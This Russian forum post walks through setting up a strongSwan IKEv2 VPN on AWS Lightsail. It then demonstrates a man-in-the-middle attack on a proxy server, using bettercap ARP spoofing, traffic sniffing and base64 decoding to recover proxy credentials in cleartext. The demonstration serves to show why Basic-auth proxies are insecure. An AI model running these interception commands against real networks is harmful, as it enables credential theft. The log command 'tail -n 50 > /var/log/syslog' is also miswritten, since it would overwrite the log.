Download_Link
Участник клуба
Прокси подходит для просмотра контента в интернете, но он не так безопасен, как VPN.
Именно поэтому сегодня мы будем поднимать именно VPN-сервер, более того даже рассмотрим на практике чем же небезопасен Proxy и попытаемся его взломать.
ДИСКЛЕЙМЕР:
Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Спасибо!
Поднимаем свой VPN:
Для начала давайте разберёмся в чём отличие VPN от VDS, т.к. многие считают эти понятия одинаковыми:
Если на Западе данные аббревиатуры являются синонимами и не имеют четкого смыслового разделения, то в Рунете каждая из них получила привязку к определенной технологии. Традиционно под VPS подразумевается OpenVZ, а VDS ассоциируется с KVM (Kernel-based Virtual Machine). Т.е. разница состоит в том, что VDS задействует аппаратную виртуализацию сервера, а VPS – виртуализацию с помощью операционной системы.
Нам необходим хостинг, на котором мы и будем поднимать свой VPN.
Здесь нужно быть внимательным при выборе хостинга, т.к. некоторые содержатели запрещают это делать:
Поэтому внимательно читайте условия прежде чем покупать себе сервер.
Для этой статьи использовался Amazon AWS с такими параметрами:
После покупки нужного хостинга переходим к его подключению, это можно сделать по SSH.
Все действия, описанные далее вы можете повторить и на своём десктопном Linux'е, дабы попрактиковаться и посмотреть на то, как это работает, поэтому изначально покупать хостинг не обязательно, но нужно понимать, что без определённых сетевых настроек пустить VPN в глобальную сеть вы не сможете, в отличии от хостинга.
sudo ssh username@ip
Для Windows можно использовать SSH-клиент PuTTY:
или на современных версиях винды встроенный OpenSSH:
После подключения крайне желательно настроить безопасное SSH-соединение, а далее обязательно ввести следующие команды:
apt-get update
apt-get install strongswan
apt-get install libstrongswan-standard-plugins
К детальной настройке strongSwan мы вернемся чуть позже, а пока создадим сертификаты доступа, чтобы наши устройства смогли подключиться к VPN серверу:
apt-get install strongswan-pki
Теперь нам нужно создать корневой сертификат, он же “CA” (Certificate Authority), который выпустит нам все остальные сертификаты. Создадим его в файле ca.pem.
В следующих двух блоках вместо YOUR_SERVER_IP подставляйте внешний IP-адрес машины. Команды вводятся одна за другой:
cd /etc/ipsec.d
ipsec pki --gen --type rsa --size 4096 --outform pem > private/ca.pem
ipsec pki --self --ca --lifetime 3650 --in private/ca.pem \
--type rsa --digest sha256 \
--dn "CN=YOUR_SERVER_IP" \
--outform pem > cacerts/ca.pem
Далее создадим сертификат для самого VPN-сервера в файле debian.pem:
ipsec pki --gen --type rsa --size 4096 --outform pem > private/debian.pem
ipsec pki --pub --in private/debian.pem --type rsa |
ipsec pki --issue --lifetime 3650 --digest sha256 \
--cacert cacerts/ca.pem --cakey private/ca.pem \
--dn "CN=YOUR_SERVER_IP" \
--san YOUR_SERVER_IP \
--flag serverAuth --outform pem > certs/debian.pem
И сертификат для самих устройств в файле me.pem. В следующем блоке ничего (в том числе в “CN=me”) менять не нужно:
ipsec pki --gen --type rsa --size 4096 --outform pem > private/me.pem
ipsec pki --pub --in private/me.pem --type rsa |
ipsec pki --issue --lifetime 3650 --digest sha256 \
--cacert cacerts/ca.pem --cakey private/ca.pem \
--dn "CN=me" --san me \
--flag clientAuth \
--outform pem > certs/me.pem
Для надежности удалим файл ca.pem, он нам больше не потребуется:
rm /etc/ipsec.d/private/ca.pem
А вот теперь настраиваем strongSwan:
> /etc/ipsec.conf
nano /etc/ipsec.conf
В файл необходимо вставить следующее значение, заменив YOUR_SERVER_IP на внешний IP-адрес машины. Больше в конфиге ничего менять не нужно:
config setup
uniqueids=never
charondebug="ike 2, knl 2, cfg 2, net 2, esp 2, dmn 2, mgr 2"
Код:
conn %default
keyexchange=ikev2
ike=aes128gcm16-sha2_256-prfsha256-ecp256!
esp=aes128gcm16-sha2_256-ecp256!
fragmentation=yes
rekey=no
compress=yes
dpdaction=clear
left=%any
leftauth=pubkey
leftsourceip=YOUR_SERVER_IP
leftid=YOUR_SERVER_IP
leftcert=debian.pem
leftsendcert=always
leftsubnet=0.0.0.0/0
right=%any
rightauth=pubkey
rightsourceip=10.10.10.0/24
rightdns=8.8.8.8,8.8.4.4
conn ikev2-pubkey
auto=add
Внимание! strongSwan требователен к отступам в конфиге, поэтому убедитесь, что параметры каждого раздела конфига отбиты через Tab, как это показано на примере, или хотя бы через пробел, иначе strongSwan не запустится.
Сохраним файл с помощью Ctrl+X и пойдем дальше.
Добавим в файл ipsec.secrets, который является хранилищем ссылок на сертификаты и ключи аутентификации, указатель на наш сертификат сервера:
nano /etc/ipsec.secrets
Вставим в этот файл последней строкой указатель на наш сертификат сервера (да, прям вот так, начиная с двоеточия):
: RSA debian.pem
На этом настройка Strongswan завершена, можно рестартнуть службу:
ipsec restart
Если все хорошо, то сервер запустится:
...
Starting strongSwan 5.7.2 IPsec [starter]...
Если упадет в ошибку, то можно посмотреть, что именно произошло, почитав логи. Команда выведет 50 последних строк лога:
tail -n 50 > /var/log/syslog
Теперь нам необходимо внести некоторые изменения в файл /etc/sysctl.conf:
nano /etc/sysctl.conf
Через Ctrl+W найдем в файле следующие переменные и внесем в них изменения:
#Раскомментируем (уберем решетку перед параметром) данный параметр, чтобы включить переадресацию пакетов
net.ipv4.ip_forward=1
#Раскомментируем данный параметр, чтобы предотвратить MITM-атаки
net.ipv4.conf.all.accept_redirects = 0
#Раскомментируем данный параметр, чтобы запретить отправку ICMP-редиректов
net.ipv4.conf.all.send_redirects = 0
#В любом месте файла на новой строке добавьте этот параметр, запретив поиск PMTU
net.ipv4.ip_no_pmtu_disc = 1
Сохраним файл и подгрузим новые значения:
sysctl -p
Настройка сетевых параметров завершена.
iptables — это утилита, которая управляет встроенным в Linux файрволом netfilter.
Для того, чтобы сохранить правила iptables в файле и подгружать их при каждом запуске системы, установим пакет iptables-persistent:
apt-get install iptables-persistent
После установки нас спросят, сохранить ли текущие правила IPv4 и IPv6. Ответим «Нет», так как у нас новая система, и нечего сохранять.
Перейдем к формированию правил iptables. На всякий случай, очистим все цепочки:
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
iptables -Z
Разрешим соединения по SSH на 22 порту, чтобы не потерять доступ к машине:
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
Разрешим соединения на loopback-интерфейсе:
iptables -A INPUT -i lo -j ACCEPT
Теперь разрешим входящие соединения на UDP-портах 500 и 4500:
iptables -A INPUT -p udp --dport 500 -j ACCEPT
iptables -A INPUT -p udp --dport 4500 -j ACCEPT
Разрешим переадресацию ESP-трафика:
iptables -A FORWARD --match policy --pol ipsec --dir in --proto esp -s 10.10.10.0/24 -j ACCEPT
iptables -A FORWARD --match policy --pol ipsec --dir out --proto esp -d 10.10.10.0/24 -j ACCEPT
Настроим максимальный размер сегмента пакетов:
iptables -t mangle -A FORWARD --match policy --pol ipsec --dir in -s 10.10.10.0/24 -o eth0 -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1361:1536 -j TCPMSS --set-mss 1360
Запретим все прочие соединения к серверу:
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP
Сохраним правила, чтобы они загружались после каждой перезагрузки:
netfilter-persistent save
netfilter-persistent reload
Настройка iptables завершена.
Перезагрузим машину:
reboot
И посмотрим работают ли правила iptables:
sudo su
iptables -S
Вывод должен быть таким:
...
[email protected]
X.XX.XX:/home/admin# iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -p udp -m udp --dport 500 -j ACCEPT
-A INPUT -p udp -m udp --dport 4500 -j ACCEPT
-A INPUT -j DROP
-A FORWARD -s 10.10.10.0/24 -m policy --dir in --pol ipsec --proto esp -j ACCEPT
-A FORWARD -d 10.10.10.0/24 -m policy --dir out --pol ipsec --proto esp -j ACCEPT
-A FORWARD -j DROP
Работает ли strongSwan:
ipsec statusall
...
[email protected]:/home/admin# ipsec statusall
Status of IKE charon daemon (strongSwan 5.7.2, Linux 4.19.0-14-amd64, x86_64):
uptime: 71 seconds, since Mar 05 23:22:16 2022
Да, здесь тоже всё работает.
Так как для написания этой статьи использовался Amazon AWS:
AWS Lightsail использует также и свой файрвол для защиты виртуальных машин. Если в нем не разрешить соединения на UDP-портах 500 и 4500, к VPN-серверу нельзя будет подключиться. Выберем наш инстанс в Lightsail, перейдем в «Networking», добавим эти порты и по пути удалим ненужный нам 80-й порт:
Удалите 80-й порт так же и в разделе IPv6 firewall, ниже по странице.
Настройка файрвола Lightsail завершена.
Создаем .mobileconfig для iPhone, iPad и Mac:
Мы будем использовать один и тот же VPN-профайл .mobileconfig для всех наших устройств.
Конфиг, который мы сделаем, устроен таким образом, чтобы инициировать соединение “On Demand”. Это означает, что при попытке любой службы или приложения выйти в Интернет, VPN-соединение будет всегда устанавливаться принудительно и автоматически. Таким образом, удастся избежать ситуации, когда вы забыли установить VPN-соединение, например, после перезагрузки девайса, а трафик в итоге пошел через провайдера, что нам совсем не нужно.
Скачаем скрипт, который сгенерирует для нас данный конфиг:
wget https://gist.githubusercontent.com/borisovonline/955b7c583c049464c878bbe43329a521/raw/b2d9dba73da633fcfcca6a03d877517c5b2d9485/mobileconfig.sh
Для того, чтобы скрипт отработал, нам потребуется пакет zsh, установим его:
apt-get install zsh
Отредактируем название сервера по вкусу, а также пропишем внешний IP-адрес машины Lightsail:
nano mobileconfig.sh
SERVER="AWS Frankfurt"
FQDN="YOUR_LIGHTSAIL_IP"
Запустим скрипт и на выходе получим готовый файл iphone.mobileconfig:
chmod u+x mobileconfig.sh
./mobileconfig.sh > iphone.mobileconfig
Заберите этот файл с сервера, подключившись по SFTP, например, с помощью Cyberduck. Для подключения используйте тот же ключ от Lightsail, внешний IP-адрес сервера и имя пользователя admin:
Отправьте скачанный файл iphone.mobileconfig на все ваши устройства через Airdrop. Подтвердите на устройствах установку конфигурации.
В macOS профайл устанавливается из System Preferences > Profiles. В iOS он появится в Settings > Profile Downloaded:
Готово! Соединения с VPN-сервером установятся автоматически.
Если захочется временно отключить VPN, чтобы получить доступ, например, к Авито, в macOS зайдите в System Preferences > Network, выберите VPN-соединение и снимите галочку “Connect on Demand”, нажмите Apply.
В iOS: Settings > General > VPN & Device Management > VPN > нажмите на иконку “i” у установленной VPN конфигурации и выключите тумблер “Connect On Demand”. Чтобы вернуться обратно к автоматическому принудительному установлению соединений, соответственно, верните эти галки/тумблеры обратно:
Приберемся за собой следующим образом:
rm mobileconfig.sh
rm iphone.mobileconfig
Если соединения VPN успешно установились, но нет интернета:
Скорее всего, ваш хостер переименовал обычно принятый дефолтным сетевой интерфейс eth0 во что-то другое по своему усмотрению (это нормально). И созданные нами правила роутинга iptables просто не могут отработать, поскольку обращаются к интерфейсу, которого нет.
Выполните команду ip addr или ifconfig, чтобы отобразить ваши сетевые интерфейсы:
И если вместо eth0 вы увидите что-то типа ens3, enp0s5 и т.п, как на скриншоте выше, то просто замените через nano /etc/iptables/rules.v4 название eth0 в строках:
-A POSTROUTING -s 10.10.10.0/24 -o eth0 -m policy --dir out --pol ipsec -j ACCEPT
-A POSTROUTING -s 10.10.10.0/24 -o eth0 -j MASQUERADE
-A FORWARD -s 10.10.10.0/24 -o eth0 -p tcp -m policy --dir in --pol ipsec -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1361:1536 -j TCPMSS --set-mss 1360
на ваше название интерфейса. Перезагрузите сервер. Интернет заработает.
Взлом Proxy:
Сейчас для наглядности я хочу продемонстрировать метод эксплуатации уязвимости Proxy-сервера, чтобы показать в чём отличие безопасности Proxy по сравнению с VPN.
Атака будет воспроизводиться из ряда сетевых - MiTM:
MiTM (Man in The Middle) - вид атаки в криптографии и компьютерной безопасности, когда злоумышленник тайно ретранслирует и при необходимости изменяет связь между двумя сторонами, которые считают, что они непосредственно общаются друг с другом.
Саму же атаку мы будем воспроизводить с помощью Bettercap, очень крутого и мощного фрэймворка для работы с сетевым оборудованием.
Запускаем:
sudo bettercap
Сканируем сеть:
net.show
net.probe on
net.show
Наша цель:
set arp.spoof.targets 192.168.1.34
arp.spoof on
Настроим сохранение трафика в файл http-proxy.pcap (для последующего анализа) и запустим снифинг:
set net.sniff.output /home/mial/http-proxy.pcap
net.sniff on
Дождёмся, когда на тестовом компьютере будет открыт любой сайт через прокси сервер.
Откроем файл http-proxy.pcap в Wireshark и воспользуемся следующим фильтром:
http.proxy_authorization
Можно увидеть строку, переданную как простой текст:
Proxy-Authorization: Basic cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn\r\n
Переданная строка — это имя пользователя и пароль от прокси сервера, закодированные в Base64.
Для декодирования используем следующую команду:
echo cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn | base64 -d
Вывод:
proxy_user:LkdfLl5kj7Leg
proxy_user — это имя пользователя, а LkdfLl5kj7Leg — это пароль от прокси-сервера. То есть не смотря на сложность пароля, его очень легко перехватить и расшифровать.
Теперь на тестовом компьютере в веб-браузере мы удаляем настройки HTTP прокси и включаем HTTPS прокси. Идея в том, что HTTPS подразумевает зашифрованные соединения и, возможно, пароль не будет передаваться в открытом виде:
Настраиваем сохранять захваченный трафик в файл https-proxy.pcap, для этого перезапускаем сниффинг:
net.sniff off
set net.sniff.output /home/mial/https-proxy.pcap
net.sniff on
Откроем файл https-proxy.pcap в Wireshark и вновь воспользуемся фильтром:
http.proxy_authorization
Как видно по скриншоту, HTTPS-прокси также передаёт пароль в виде простого текста:
Разница между HTTP и HTTPS прокси есть, но только не в процессе аутентификации — в любом случае пароль передаётся в виде простого текста.
Для защиты никогда не используйте Basic-аутентификацию и старайтесь использовать VPN.
